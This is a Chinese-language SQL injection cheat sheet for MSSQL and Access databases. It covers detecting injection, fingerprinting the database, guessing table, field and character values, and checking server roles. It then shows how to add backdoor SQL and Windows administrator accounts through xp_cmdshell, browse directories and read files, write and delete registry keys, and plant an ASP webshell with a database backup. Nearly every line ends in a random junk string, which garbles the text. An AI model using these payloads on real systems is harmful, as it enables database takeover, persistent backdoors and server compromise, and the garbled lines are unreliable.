1.判断是否有注入;and 1=1 ;and 1=2 i?*&1i@
2.初步判断是否是mssql ;and user>0 F(SeD)ml
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3.注入参数是字符'and [查询条件] and ''=' MZL~IX
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Td8'z'
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5.判断数据库系统 wiwJD}3h'
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;and (select count(*) from sysobjects)>0 mssql ;O5NZa!.73
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;and (select count(*) from msysobjects)>0 access 9(u2jbA
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 T
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Qy4AuMU2
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Za=<euc7
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9.(1)猜字段的ascii值(access) yd>kJk^~/
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 XUMCz7&j
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(2)猜字段的ascii值(mssql) ts9N$?0:V
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10.测试权限结构(mssql) v
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0}P&G^%"
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- S:^Q(w7
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }m0Lr:vq<r
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- FIG5]u
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- FK
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- k^ZUOWmU|
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11.添加mssql和系统的帐户 r-[z!S
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;exec master.dbo.sp_addlogin username;-- )FU4i N)ei
;exec master.dbo.sp_password null,username,password;-- R@"N{ [9
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- HjV^6oP
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;exec master.dbo.xp_cmdshell 'net user username password EDnmYaa)dZ
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- WpmypkJA#
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- .X:{s,@
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- w)!(@}vd
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;and (select top 1 paths from dirs)>0 -3w? y
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) nS4~1a
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(2)遍历目录 <@zOdW|{:
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;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 *b.>pY?2|
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6qHo$#iT
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 # ^%'*/z
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 +;*])N%q
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13.mssql中的存储过程 f$H"|Mbe
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xp_regenumvalues 注册表根键, 子键 F.@yNr"
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 'z!I#Y!Y
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xp_regread 根键,子键,键值名 x"N,oDs
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 H M76%9!
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xp_regwrite 根键,子键, 值名, 值类型, 值 3$y]#L
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ~u3I=b
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 f'#7i@Je
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xp_regdeletevalue 根键,子键,值名 F*]AjD-
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ^&cI+xZ2Y
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 *1elUI2Rg
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14.mssql的backup创建webshell 63k8j[$
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use model C6/,-?%)
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create table cmd(str image); ^ qE4:|e
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insert into cmd(str) values (''); j.m-6
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backup database model to disk='c:\l.asp'; N>gv!z[E
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15.mssql内置函数 FoEZ1O<
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;and (select @@version)>0 获得Windows的版本号 ~xXB
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa s2d;601*b
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